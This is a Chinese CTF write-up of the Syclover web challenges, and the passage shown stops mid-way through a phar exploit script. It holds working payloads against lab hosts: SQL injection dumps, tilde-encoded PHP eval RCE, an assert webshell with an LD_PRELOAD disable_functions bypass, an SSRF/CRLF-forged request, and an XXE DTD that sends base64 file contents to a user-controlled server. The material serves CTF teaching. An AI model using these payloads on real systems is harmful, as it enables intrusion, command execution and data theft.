Syclover-Web题解
目录
1、打比赛前先撸一只猫!
2、你看见过我的菜刀么
3、BurpSuiiiiiit!!!
4、性感潇文清,在线算卦
5、Easysql
6、RCE me
7、李三的代码审计笔记第一页
8、服务端检测系统
9、Lovelysql
10、性感黄阿姨,在线聊天
11、李三的代码审计笔记第二页
12、Babysql
13、神秘的三叶草
14、Eval evil code
15、Jiang‘s Secret
16、Hardsql
17、你有特洛伊么
18、Leixiao's blog
19、反序列化1.0
20、又来一只猫
21、你有初恋吗
22、Finalsql
23、你读懂潇文清的网站了吗
1、打比赛前先撸一只猫!
题目描述:打比赛前先撸一只猫!: 猫猫陪我打ctf!
hint:撸猫:https://www.cnblogs.com/ranyonsue/p/5984001.html
打开题目给的地址,直接F12查看源码,发现关键代码,上面的flag是假的,在地址后面加上?cat=dog得到真正的flag
2、你看见过我的菜刀么
题目描述:你看见过我的菜刀么
hint:菜刀:https://qq52o.me/2277.html
打开地址发现典型的一句话,直接上菜刀连接,密码是Syc,找一下就能得到flag
3、BurpSuiiiiiit!!!
题目描述:拿起你的burp,开始战斗吧 附件: 链接:https://share.weiyun.com/5WD42Vt 密码:zp5sy9 备用链接:http://geek.sycsec.com:44444/static/file/Burp.zip
下载附件,打开自己的burpsuit,找到拓展模块,加载这个文件,查看错误信息,就可以得到flag
4、性感潇文清,在线算卦
题目描述:动作快点才能算到好卦。
打开地址,F12查看源码,看到关键代码。
主要代码:最后有提示,条件竞争(可以自行百度)
这段代码的意思大概就是先创建一个文件夹,然后在这个文件夹下面会新建一个以你输入的用户名sha1加密后为名的文件,flag会被写入到这个文件中,然后这个路径会被打印出来,但是0.1秒会马上重新写入you are too slow!所以直接访问得不到flag,所以就是要在它重新写入之前访问,两种方法,写脚本或者用burpsuit爆破,时间久点
<!--$savepath = "uploads/" . sha1($_SERVER['REMOTE_ADDR']) . "/";if (!is_dir($savepath)) {$oldmask = umask(0);mkdir($savepath);umask($oldmask);}if ((@$_GET['u']) && (@$_GET['p'])) {$content = '***************';file_put_contents("$savepath" . sha1($_GET['u']), $content);$msg = 'Ding!你的算卦结果就在这儿啦! ' . $savepath . htmlspecialchars(sha1($_GET['u'])) . "";echo $msg;usleep(100000);@$content = "you are too slow";file_put_contents("$savepath" . sha1($_GET['u']), $content);}试试条件竞争吧?
-->
脚本代码,运行起来然后访问他给你的网址
import requests
while 1:requests.get('http://148.70.59.198:42534/?u=1&p=1')
访问http://148.70.59.198:42534/?u=1&p=1,burpsuit抓包,直接将密码或者其他没用的设为变量,可以设为数字从1到10000000(随便多大,久就行了),然后访问它给你的网址
5、Easysql
题目描述:最近我做了一个小网站,我把flag放在里面了,不过我没有把登陆密码告诉任何人,所以你们是拿不到flag的!
打开地址,直接万能密码登录拿到flag,username:admin'or 1#,password:1
6、RCE me
题目描述:I don't think U can system RCE,prove to me
题目代码:
<?php
error_reporting(0);
if(isset($_GET['code'])){$code=$_GET['code'];if(strlen($code)>40){die("This is too Long.");}if(preg_match("/[A-Za-z0-9]+/",$code)){die("NO.");}@eval($code);
}
else{highlight_file(__FILE__);
}
highlight_file(__FILE);// ?>
参考文章:https://www.cnblogs.com/BOHB-yunying/p/11706255.html
主要是利用"~"来绕过限制
$a = "phpinfo";
echo urlencode(~$a);
%8F%97%8F%96%91%99%90 //phpinfo
然后访问http://114.116.44.23:40001/?code=(~%8F%97%8F%96%91%99%90)();查看禁用函数
常用的系统函数基本被禁掉了,先用scandir读取一下目录
print_r(scandir('./'));
进行编码
$a = "print_r";
echo urlencode(~$a).'<br>';
$a = "scandir";
echo urlencode(~$a);
%8F%8D%96%91%8B%A0%8D //print_r
%8C%9C%9E%91%9B%96%8D //scandir
访问地址:http://114.116.44.23:40001/?code=(~%8F%8D%96%91%8B%A0%8D)((~%8C%9C%9E%91%9B%96%8D)(("./")));
读取当前目录下的文件
访问地址:http://114.116.44.23:40001/?code=(~%8F%8D%96%91%8B%A0%8D)((~%8C%9C%9E%91%9B%96%8D)(("/")));
读取根目录下的文件
发现flag和readflag两个
使用readfile('/flag')和readfile('/readflag')读取两个文件内容
%8D%9A%9E%9B%99%96%93%9A # readfile
%D0%99%93%9E%98 # /flag
%D0%8D%9A%9E%9B%99%93%9E%98 # /readflag
访问地址:http://114.116.44.23:40001/?code=(~%8D%9A%9E%9B%99%96%93%9A)((~%D0%99%93%9E%98));
读取根目录下的flag文件 没有东西
访问地址:http://114.116.44.23:40001/?code=(~%8D%9A%9E%9B%99%96%93%9A)((~%D0%8D%9A%9E%9B%99%93%9E%98));
读取根目录下的readflag文件 发现是二进制文件,猜测应该是运行这个可执行文件,然后得到flag
由于之前的禁用函数没有包含aasert,所以尝试使用assert函数写shell
assert($_POST['a']);
%9E%8C%8C%9A%8D%8B # assert
%DB%A0%AF%B0%AC%AB # $_POST
%9E # a
%DB%A0%AF%B0%AC%AB%A4%DD%9E%DD%A2 #$_POST["a"]
(~%9E%8C%8C%9A%8D%8B)((~%DB%A0%AF%B0%AC%AB)[(~%9E)]); //全拆开编码
(~%9E%8C%8C%9A%8D%8B)((~%DB%A0%AF%B0%AC%AB%A4%DD%9E%DD%A2)); //后面一起编码
原文章是一起编码访问不了,我没有出现这种情况,但是这里两种方法都没有读取到东西
在查看tmp目录下发现有其他内容
%8F%8D%96%91%8B%A0%8D #print_r
%8C%9C%9E%91%9B%96%8D #scan_dir
%D0%8B%92%8F #/tmp
访问网址:http://114.116.44.23:40001/?code=(~%8F%8D%96%91%8B%A0%8D)((~%8C%9C%9E%91%9B%96%8D)(~%D0%8B%92%8F));
查看/tmp下的文件
随便找一个像shell的php文件,读取内容,这里看的是hack.php,不能直接看到,需要F12查看源码
访问网址:http://114.116.44.23:40001/?code=(~%8D%9A%9E%9B%99%96%93%9A)((~%D0%8B%92%8F%D0%97%9E%9C%94%D1%8F%97%8F));
尝试文件包含,测试一下脚本是否可用
%9E%8C%8C%9A%8D%8B #assert
%96%91%9C%93%8A%9B%9A%D7%DD%D0%8B%92%8F%D0%97%9E%9C%94%D1%8F%97%8F%DD%D6%C4 #include("/tmp/hack.php")访问网址:http://114.116.44.23:40001/?code=(~%9E%8C%8C%9A%8D%8B)((~%96%91%9C%93%8A%9B%9A%D7%DD%D0%8B%92%8F%D0%97%9E%9C%94%D1%8F%97%8F%DD%D6%C4));
post数据:test=phpinfo();
成功访问,直接上菜刀进行连接
接下来就是上传bypass脚本和拓展库,下面两个是原文链接的
https://github.com/mm0r1/exploits/blob/master/php-json-bypass/exploit.php
https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
我在原代码baypass_disablefunc.php把get方式改成了post,上传这个文件
<?phpecho "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";$cmd = $_POST["cmd"];$out_path = $_POST["outpath"];$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";putenv("EVIL_CMDLINE=" . $evil_cmdline);$so_path = $_POST["sopath"];putenv("LD_PRELOAD=" . $so_path);mail("", "", "", "");echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>"; unlink($out_path);
?>
然后上传第二个链接里面的bypass_disablefunc_x64.so,最后文件包含我们的上传的bypass文件,得到flag
http://114.116.44.23:40001/?code=(~%9E%8C%8C%9A%8D%8B)((~%96%91%9C%93%8A%9B%9A%D7%DD%D0%8B%92%8F%D0%95%95%95%D1%8F%97%8F%DD%D6%C4)); #assert(include("jjj.php"))post数据:cmd=/readflag&outpath=/tmp/123.txt&sopath=/tmp/bypass_disablefunc_x64.socmd:要执行的文件
outpath:输出路径
sopath:上传的拓展库
记录一下淚笑师傅在群里给的两篇借鉴文章
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
https://www.cnblogs.com/leixiao-/p/10612798.html
这里在推一手官方的题解
https://evoa.me/index.php/archives/62/
7、李三的代码审计笔记第一页
题目描述:Talk is easy ,show me the code.
打开文件得到源代码:
<?phphighlight_file(__FILE__);error_reporting(E_ALL);ini_set("max_execution_time", "60");empty($_GET["url"]) && die();$password = "If I knew where I would die, I would never go there.";$arr = explode(' ', $password);function startsWith($haystack, $needle){$length = strlen($needle);return (substr($haystack, 0, $length) === $needle);}$url = $_GET["url"];if (!startsWith($url,"http://")){die("Not allow !");}for($i=0; $i<count($arr); $i++){$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_TIMEOUT, 3); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);$output = curl_exec($ch);curl_close($ch);if ($output === $arr[$i]){if($i == sizeof($arr)-1){echo "Congratulations. Flag is SYC{********************************}";}else{continue;}}else{ die("password is wrong");}}?>
直接上脚本,由于这里我是本地调试,所以两个sleep的时间都是一秒,但是公网服务器可能会有延迟,所以sleep的时间需要自己调,先运行脚本,再访问网址,访问的网址是http://ctf1.redteam.today:8081/?url=http://你的公网地址/1.php
import time
str=['If','I','knew','where','I','would','die,','I','would','never','go','there.']
for i in range(len(str)+1):f=open('1.php','w')payload=str[i]+'<?php sleep(1);?>'f.write(payload)f.closetime.sleep(1)
下面记录一下官方的脚本
import flask
import datetimeserver=flask.Flask(__name__)
data="If I knew where I would die, I would never go there."
data=data.split(" ")
data.reverse@server.route('/',methods=['post','get'])
def index():
return data.pop()server.run(port=8888)
8、服务端检测系统
题目描述:emm,自己看
hint:ssrf && crlf
打开网址,F12查看源码,关键代码如下
<!-- /admin.php -->
<!--if(isset($_POST['method']) && isset($_POST['url']) ){$method=$_POST['method'];$url=$_POST['url'];if(preg_match('/^http:\/\//i',$url)){$opts = array('http'=>array('method'=>$method,'timeout'=>3));$context = stream_context_create($opts);$body = @file_get_contents($url."/anything", false, $context);if(isset($http_response_header)){preg_match("/Allow:(.*?);/i",implode(';',$http_response_header).";",$matches);if(isset($matches[1])){echo "服务端支持的请求方法有:".$matches[1];}else{echo "failed<br>";echo sprintf("body length of $method%d", $body);}}else{echo "error";}}else{echo 'not allowed';}}
-->
分析代码可得,url和method可控,但url必须http://开头
访问admin.php页面显示only 127.0.0.1 can visit it,又提示说ssrf,说明肯定是利用index.php的功能来ssrf
输入的url会被拼接上/anything,然后默认以options请求方法访问,一次得到Allow返回头
下面就是参考的官方思路
想访问/admin.php就得绕过/anything后缀,这里可以用?,然后method也改成GET尝试
url=http://127.0.0.1/admin.php?&method=GET
显示failed是因为采用GET请求方式,服务端是不会返回Allow头的
而且这里的ssrf也没有直接的回显,只有类似响应体长度的语句
但是之前的代码中sprintf("body length of $method%d", $body);这句代码有错误
因为$method这个变量是我们可控的,然后%%是会被转义成实义的%,那么我们如果将$method的值传入为%s%,那么最后拼接成的语句就会是sprintf("body length of %s%%d", $body);,那后面的%%d会被转义成%d,不起作用了,那么$body的值就会通过%s打印出来,最后显示的内容就是body length of 返回的数据%d
因为method是作为请求方式去发起http请求的,那么其实发出请求包是这样的
%s%/admin.php?/anything HTTP/1.0
Host: 127.0.0.1
%s%自然是不能作为一个正常的请求头,但是某些中间件可能也会当做GET请求来响应,比如当前环境中是会正常返回admin.php页面内容的
发现需要我们POST一个值为yes的iwantflag参数上去才会显示flag,想要构造POST请求包就有回到了$method这个变量来
发现这里用的是file_get_contents()函数来发起HTTP请求,一些配置选项包括这里的请求方式是作为一个数组通过stream_context_create()处理后传入的。其实这里就存在crlf注入漏洞,及我们可以完全自己构造一个完整的POST包发出去
具体如下
url=http://127.0.0.1/&method=POST /admin.php HTTP/1.1
Host:x
Content-Type: application/x-www-form-urlencoded Content-Length:50iwantflag=yes%26b=%s%
成功获得flag
9、Lovelysql
题目描述:上次是我粗心大意,看来不能直接放在网页上了!
打开网址,发现是上次sql注入的进阶版
http://118.25.14.40:8101/check.php?username=admin%27order+by+3%23&password=123 #字段数为3
http://118.25.14.40:8101/check.php?username=admin%27%20and%201=2%20union%20select%201,2,3%23&password=123 #得到报错回显的数字为1,2
http://118.25.14.40:8101/check.php?username=admin%27%20and%201=2%20union%20select%201,2,database()%23&password=123 #得到数据库名 geek
http://118.25.14.40:8101/check.php?username=admin%27%20and%201=2%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%23&password=123 #得到表名geekuser,l0ve1ysq1
http://118.25.14.40:8101/check.php?username=admin%27%20and%201=2%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=%27l0ve1ysq1%27%23&password=123 得到字段名id,username,password
http://118.25.14.40:8101/check.php?username=admin%27%20and%201=2%20union%20select%201,2,group_concat(username,0x7e,password)%20from%20l0ve1ysq1%23&password=123 #得到flag
10、性感黄阿姨,在线聊天
题目描述:听说她有很多小秘密和表情包哦,当然也有你们最想要的flag!
hint:weak php && xxe
打开网址,在下面框内随便输入什么之后,她会要你直接问她要flag,但是输入flag之后,会打印“你只是我guest”
抓包,发现guest,将它改为admin,然后forward
得到一段提示信息
这里利用弱php的特性,推荐文章:https://www.cnblogs.com/liangxiyang/p/10925792.html
PHP中有两种比较符号,“==”与“===”。“==”我们称之为等值符,当等号两边为相同类型时,直接比较值是否相等;当等号两边类型不同时,先转换为相同的类型,再对转换后的值进行比较,如果比较一个数字和字符串或者涉及到数字内容的字符串,则字符串会被转换成数值并且比较按照常数值进行比较。
<?php
var_dump("admin"==0); //true
var_dump("1admin"==1); //true
var_dump("admin1"==1) //false
var_dump("admin1"==0) //true
var_dump("0e123456"=="0e4456789"); //true
?>
当一个字符串欸当作一个数值来取值,其结果和类型如下:如果该字符串没有包含'.','e','E'并且其数值值在整形的范围之内
该字符串被当作int来取值,其他所有情况下都被作为float来取值,该字符串的开始部分决定了它的值,如果该字符串以合法的数值开始,则使用该数值,否则其值为0。
直接发送到intruder模块,将"guest"设为变量,从0爆破到1000
发现为375的时候跟其他都不一样,抓包改为375发现信息,得到flag存放的位置
提示说xxe,所以把数据包改为xml格式,Content-Type改为xml
后端成功解析
这里可以直接回显也可以盲注
直接回显我做的时候不知道为什么不行,可能哪里有点小错误,再加之分数高,以为没那么简单,所以是盲注出来的
但是看了官方wp之后,这题是可以直接回显的
但是会发现直接读_f14g_Is_Here.php读不出来,这是因为php文件中有特殊字符(如<)让xml解析时出错了,可以利用php流读取
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE xxe[ <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=./_f14g_Is_Here_.php">
]>
<root><name>&xxe;</name> <request>flag</request>
</root>
下面分享盲注也就是我的做法(想复杂了。。。)
先在自己的服务器放置一个e.xml,内容如下
<!ENTITY % payload SYSTEM "php://filter/read=convert.base64-encode/resource=_f14g_Is_Here_.php">
<!ENTITY % int "<!ENTITY trick SYSTEM 'http://你的公网ip/ftp.txt?id=%payload;'>">
%int;
xml数据如下,但是这里不能连着出现http:,所以讲冒号url编码为%3A
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY % remote SYSTEM "http%3A//你的公网ip/e.xml">%remote;]>
<root>
<xxx>&trick;<xxx>
</root>
11、李三的代码审计笔记第二页
题目描述:听说李三用这个裁剪他的头像,http://ctf1.redteam.today:8233/www.zip
记录一下官方题解:
代码如下
//upload.php<?phperror_reporting(0);
ini_set("max_execution_time", "60");
session_start();class Picture {function __construct($tmpName){$whitelist = ["image/jpeg" => "jpg","image/svg+xml" => "svg"];$this->tmpName = $tmpName;$this->mimeType = mime_content_type($tmpName);if (!array_key_exists($this->mimeType, $whitelist)) {$this->jsonencode = json_encode(array("error"=>"图片不符合要求格式"));exit();}$this->getPictureSize($this->tmpName, $this->mimeType);if ($this->width * $this->height > 1500 * 1500) {$this->jsonencode = json_encode(array("error"=>"图片过大"));exit();}$this->extension = "." . $whitelist[$this->mimeType];$this->fileName = md5(random_bytes(10));$this->sandbox = $filePath = "picture/" . md5(session_id()) . "/";}function getPictureSize($file, $mimeType) {if ($mimeType == "image/jpeg") {$size = getimagesize($file);$this->width = (int) $size[0];$this->height = (int) $size[1];} else {$xml = file_get_contents($file);$domcument = new DOMDocument();$domcument->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD);$img = simplexml_import_dom($domcument);$attrs = $img->attributes();$this->width = (int) $attrs->width;$this->height = (int) $attrs->height;}}function samplePicture() {$filePath = $this->sandbox . $this->fileName . $this->extension;$samplePath = $this->sandbox . $this->fileName . "_sample.jpg";exec('convert ' . $filePath . " -sample 50%x50% " . $samplePath);$jsonencode = json_encode(array("success"=>array("orgin"=>$filePath, "sample"=>$samplePath)));echo $jsonencode;}function __destruct(){if (!empty($this->jsonencode)){echo $this->jsonencode;return ;}if (!file_exists($this->sandbox)){mkdir($this->sandbox);}$fileDst = $this->sandbox . $this->fileName . $this->extension;move_uploaded_file($this->tmpName, $fileDst);$this->samplePicture();}}header('Content-Type:text/json;charset=utf-8');
new Picture($_FILES['picture']['tmp_name']);
题目考点有两个一个是xxe,一个phar的反序列化。题目的环境是flag在根目录下,但是做了权限处理需要执行根目录下的readflag程序才可以读取,所以这也是当时回复有疑惑的同学说这题不需要知道flag也能做的原因。
关于这两个考点可以参考这两篇文章 一篇文章带你深入理解漏洞之XXE漏洞和利用phar拓展php反序列化漏洞攻击面
php的反序列化意味着可以控制类的属性,因此可控的$filePath最后进入exec相当于是一个命令注入漏洞。
$filePath = $this->sandbox . $this->fileName . $this->extension;
$samplePath = $this->sandbox . $this->fileName . "_sample.jpg";
exec('convert ' . $filePath . " -sample 50%x50% " . $samplePath);
//python2
from sys import *
import requests
import jsonhost = "ctf1.redteam.today"
port = 8233
timeout = 30ip = "http://%s:%d/" % (host, port)
session = requests.Session()paramsMultipart = [('picture', ('phar.jpg', "\xff\xd8\xff\xe0\x00\x10JFIF\x00\x01\x01\x00\x00\x90\x00\x90\x00\x00\xff\xe1\x00tExif\x00\x00MM\x00*\x00\x00\x00\x08\x00\x04\x01\x1a\x00\x05\x00\x00\x00\x01\x00\x00\x00>\x01\x1b\x00\x05\x00\x00\x00\x01\x00\x00\x00F\x01(\x00\x03\x00\x00\x00\x01\x00\x02\x00\x00\x87i\x00\x04\x00\x00\x00\x01\x00\x00\x00N\x00\x00\x00\x00\x00\x00\x00\x90\x00\x00\x00\x01\x00\x00\x00\x90\x00\x00\x00\x01\x00\x02\xa0\x02\x00\x04\x00\x00\x00\x01\x00\x00\x00\x0c\xa0\x03\x00\x04\x00\x00\x00\x01\x00\x00\x00\x0c\x00\x00\x00\x00\xff\xed\x008Photoshop 3.0\x008BIM\x04\x04\x00\x00\x00\x00\x00\x008BIM\x04%\x00\x00\x00\x00\x00\x10\xd4\x1d\x8c\xd9\x8f\x00\xb2\x04\xe9\x80\x09\x98\xec\xf8B~\xff\xe2\x0f\xacICC_PROFILE\x00\x01\x01\x00\x00\x0f\x9cappl\x02\x10\x00\x00mntrRGB XYZ \x07\xe3\x00\x03\x00\x1d\x00\x01\x00:\x00:acspAPPL\x00\x00\x00\x00APPL\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xf6\xd6\x00\x01\x00\x00\x00\x00\xd3-appl\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11desc\x00\x00\x01P\x00\x00\x00bdscm\x00\x00\x01\xb4\x00\x00\x04\x84cprt\x00\x00\x068\x00\x00\x00\x23wtpt\x00\x00\x06\\\x00\x00\x00\x14rXYZ\x00\x00\x06p\x00\x00\x00\x14gXYZ\x00\x00\x06\x84\x00\x00\x00\x14bXYZ\x00\x00\x06\x98\x00\x00\x00\x14rTRC\x00\x00\x06\xac\x00\x00\x08\x0caarg\x00\x00\x0e\xb8\x00\x00\x00 vcgt\x00\x00\x0e\xd8\x00\x00\x000ndin\x00\x00\x0f\x08\x00\x00\x00>chad\x00\x00\x0fH\x00\x00\x00,mmod\x00\x00\x0ft\x00\x00\x00(bTRC\x00\x00\x06\xac\x00\x00\x08\x0cgTRC\x00\x00\x06\xac\x00\x00\x08\x0caabg\x00\x00\x0e\xb8\x00\x00\x00 aagg\x00\x00\x0e\xb8\x00\x00\x00 desc\x00\x00\x00\x00\x00\x00\x00\x08Display\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00mluc\x00\x00\x00\x00\x00\x00\x00&\x00\x00\x00\x0chrHR\x00\x00\x00\x14\x00\x00\x01\xd8koKR\x00\x00\x00\x0c\x00\x00\x01\xecnbNO\x00\x00\x00\x12\x00\x00\x01\xf8id\x00\x00\x00\x00\x00\x12\x00\x00\x02\nhuHU\x00\x00\x00\x14\x00\x00\x02\x1ccsCZ\x00\x00\x00\x16\x00\x00\x020daDK\x00\x00\x00\x1c\x00\x00\x02FnlNL\x00\x00\x00\x16\x00\x00\x02bfiFI\x00\x00\x00\x10\x00\x00\x02xitIT\x00\x00\x00\x14\x00\x00\x02\x88esES\x00\x00\x00\x12\x00\x00\x02\x9croRO\x00\x00\x00\x12\x00\x00\x02\x9cfrCA\x00\x00\x00\x16\x00\x00\x02\xaear\x00\x00\x00\x00\x00\x14\x00\x00\x02\xc4ukUA\x00\x00\x00\x1c\x00\x00\x02\xd8heIL\x00\x00\x00\x16\x00\x00\x02\xf4zhTW\x00\x00\x00\x0c\x00\x00\x03\nviVN\x00\x00\x00\x0e\x00\x00\x03\x16skSK\x00\x00\x00\x16\x00\x00\x03\x24zhCN\x00\x00\x00\x0c\x00\x00\x03\nruRU\x00\x00\x00\x24\x00\x00\x03:enGB\x00\x00\x00\x14\x00\x00\x03^frFR\x00\x00\x00\x16\x00\x00\x03rms\x00\x00\x00\x00\x00\x12\x00\x00\x03\x88hiIN\x00\x00\x00\x12\x00\x00\x03\x9athTH\x00\x00\x00\x0c\x00\x00\x03\xaccaES\x00\x00\x00\x18\x00\x00\x03\xb8enAU\x00\x00\x00\x14\x00\x00\x03^esXL\x00\x00\x00\x12\x00\x00\x02\x9cdeDE\x00\x00\x00\x10\x00\x00\x03\xd0enUS\x00\x00\x00\x12\x00\x00\x03\xe0ptBR\x00\x00\x00\x18\x00\x00\x03\xf2plPL\x00\x00\x00\x12\x00\x00\x04\nelGR\x00\x00\x00\"\x00\x00\x04\x1csvSE\x00\x00\x00\x10\x00\x00\x04>trTR\x00\x00\x00\x14\x00\x00\x04NptPT\x00\x00\x00\x16\x00\x00\x04bjaJP\x00\x00\x00\x0c\x00\x00\x04x\x00L\x00C\x00D\x00 \x00u\x00 \x00b\x00o\x00j\x00i\xce\xec\xb7\xec\x00 \x00L\x00C\x00D\x00F\x00a\x00r\x00g\x00e\x00-\x00L\x00C\x00D\x00L\x00C\x00D\x00 \x00W\x00a\x00r\x00n\x00a\x00S\x00z\x00\xed\x00n\x00e\x00s\x00 \x00L\x00C\x00D\x00B\x00a\x00r\x00e\x00v\x00n\x00\xfd\x00 \x00L\x00C\x00D\x00L\x00C\x00D\x00-\x00f\x00a\x00r\x00v\x00e\x00s\x00k\x00\xe6\x00r\x00m\x00K\x00l\x00e\x00u\x00r\x00e\x00n\x00-\x00L\x00C\x00D\x00V\x00\xe4\x00r\x00i\x00-\x00L\x00C\x00D\x00L\x00C\x00D\x00 \x00c\x00o\x00l\x00o\x00r\x00i\x00L\x00C\x00D\x00 \x00c\x00o\x00l\x00o\x00r\x00A\x00C\x00L\x00 \x00c\x00o\x00u\x00l\x00e\x00u\x00r \x0f\x00L\x00C\x00D\x00 \x06E\x06D\x06H\x06F\x06)\x04\x1a\x04>\x04;\x04L\x04>\x04@\x04>\x042\x048\x049\x00 \x00L\x00C\x00D \x0f\x00L\x00C\x00D\x00 \x05\xe6\x05\xd1\x05\xe2\x05\xd5\x05\xe0\x05\xd9_i\x82r\x00 \x00L\x00C\x00D\x00L\x00C\x00D\x00 \x00M\x00\xe0\x00u\x00F\x00a\x00r\x00e\x00b\x00n\x00\xfd\x00 \x00L\x00C\x00D\x04&\x042\x045\x04B\x04=\x04>\x049\x00 \x04\x16\x04\x1a\x00-\x044\x048\x04A\x04?\x04;\x045\x049\x00C\x00o\x00l\x00o\x00u\x00r\x00 \x00L\x00C\x00D\x00L\x00C\x00D\x00 \x00c\x00o\x00u\x00l\x00e\x00u\x00r\x00W\x00a\x00r\x00n\x00a\x00 \x00L\x00C\x00D\x090\x09\x02\x09\x17\x09@\x09(\x00 \x00L\x00C\x00D\x00L\x00C\x00D\x00 \x0e*\x0e5\x00L\x00C\x00D\x00 \x00e\x00n\x00 \x00c\x00o\x00l\x00o\x00r\x00F\x00a\x00r\x00b\x00-\x00L\x00C\x00D\x00C\x00o\x00l\x00o\x00r\x00 \x00L\x00C\x00D\x00L\x00C\x00D\x00 \x00C\x00o\x00l\x00o\x00r\x00i\x00d\x00o\x00K\x00o\x00l\x00o\x00r\x00 \x00L\x00C\x00D\x03\x88\x03\xb3\x03\xc7\x03\xc1\x03\xc9\x03\xbc\x03\xb7\x00 \x03\xbf\x03\xb8\x03\xcc\x03\xbd\x03\xb7\x00 \x00L\x00C\x00D\x00F\x00\xe4\x00r\x00g\x00-\x00L\x00C\x00D\x00R\x00e\x00n\x00k\x00l\x00i\x00 \x00L\x00C\x00D\x00L\x00C\x00D\x00 \x00a\x00 \x00C\x00o\x00r\x00e\x00s0\xab0\xe90\xfc\x00L\x00C\x00Dtext\x00\x00\x00\x00Copyright Apple Inc., 2019\x00\x00XYZ \x00\x00\x00\x00\x00\x00\xf3\x16\x00\x01\x00\x00\x00\x01\x16\xcaXYZ \x00\x00\x00\x00\x00\x00\x83\x87\x00\x00=\xa9\xff\xff\xff\xbbXYZ \x00\x00\x00\x00\x00\x00K\xe5\x00\x00\xb3\xef\x00\x00\n\xddXYZ \x00\x00\x00\x00\x00\x00'j\x00\x00\x0eh\x00\x00\xc8\x95curv\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x05\x00\n\x00\x0f\x00\x14\x00\x19\x00\x1e\x00\x23\x00(\x00-\x002\x006\x00;\x00@\x00E\x00J\x00O\x00T\x00Y\x00^\x00c\x00h\x00m\x00r\x00w\x00|\x00\x81\x00\x86\x00\x8b\x00\x90\x00\x95\x00\x9a\x00\x9f\x00\xa3\x00\xa8\x00\xad\x00\xb2\x00\xb7\x00\xbc\x00\xc1\x00\xc6\x00\xcb\x00\xd0\x00\xd5\x00\xdb\x00\xe0\x00\xe5\x00\xeb\x00\xf0\x00\xf6\x00\xfb\x01\x01\x01\x07\x01\r\x01\x13\x01\x19\x01\x1f\x01%\x01+\x012\x018\x01>\x01E\x01L\x01R\x01Y\x01`\x01g\x01n\x01u\x01|\x01\x83\x01\x8b\x01\x92\x01\x9a\x01\xa1\x01\xa9\x01\xb1\x01\xb9\x01\xc1\x01\xc9\x01\xd1\x01\xd9\x01\xe1\x01\xe9\x01\xf2\x01\xfa\x02\x03\x02\x0c\x02\x14\x02\x1d\x02&\x02/\x028\x02A\x02K\x02T\x02]\x02g\x02q\x02z\x02\x84\x02\x8e\x02\x98\x02\xa2\x02\xac\x02\xb6\x02\xc1\x02\xcb\x02\xd5\x02\xe0\x02\xeb\x02\xf5\x03\x00\x03\x0b\x03\x16\x03!\x03-\x038\x03C\x03O\x03Z\x03f\x03r\x03~\x03\x8a\x03\x96\x03\xa2\x03\xae\x03\xba\x03\xc7\x03\xd3\x03\xe0\x03\xec\x03\xf9\x04\x06\x04\x13\x04 \x04-\x04;\x04H\x04U\x04c\x04q\x04~\x04\x8c\x04\x9a\x04\xa8\x04\xb6\x04\xc4\x04\xd3\x04\xe1\x04\xf0\x04\xfe\x05\r\x05\x1c\x05+\x05:\x05I\x05X\x05g\x05w\x05\x86\x05\x96\x05\xa6\x05\xb5\x05\xc5\x05\xd5\x05\xe5\x05\xf6\x06\x06\x06\x16\x06'\x067\x06H\x06Y\x06j\x06{\x06\x8c\x06\x9d\x06\xaf\x06\xc0\x06\xd1\x06\xe3\x06\xf5\x07\x07\x07\x19\x07+\x07=\x07O\x07a\x07t\x07\x86\x07\x99\x07\xac\x07\xbf\x07\xd2\x07\xe5\x07\xf8\x08\x0b\x08\x1f\x082\x08F\x08Z\x08n\x08\x82\x08\x96\x08\xaa\x08\xbe\x08\xd2\x08\xe7\x08\xfb\x09\x10\x09%\x09:\x09O\x09d\x09y\x09\x8f\x09\xa4\x09\xba\x09\xcf\x09\xe5\x09\xfb\n\x11\n'\n=\nT\nj\n\x81\n\x98\n\xae\n\xc5\n\xdc\n\xf3\x0b\x0b\x0b\"\x0b9\x0bQ\x0bi\x0b\x80\x0b\x98\x0b\xb0\x0b\xc8\x0b\xe1\x0b\xf9\x0c\x12\x0c*\x0cC\x0c\\\x0cu\x0c\x8e\x0c\xa7\x0c\xc0\x0c\xd9\x0c\xf3\r\r\r&\r@\rZ\rt\r\x8e\r\xa9\r\xc3\r\xde\r\xf8\x0e\x13\x0e.\x0eI\x0ed\x0e\x7f\x0e\x9b\x0e\xb6\x0e\xd2\x0e\xee\x0f\x09\x0f%\x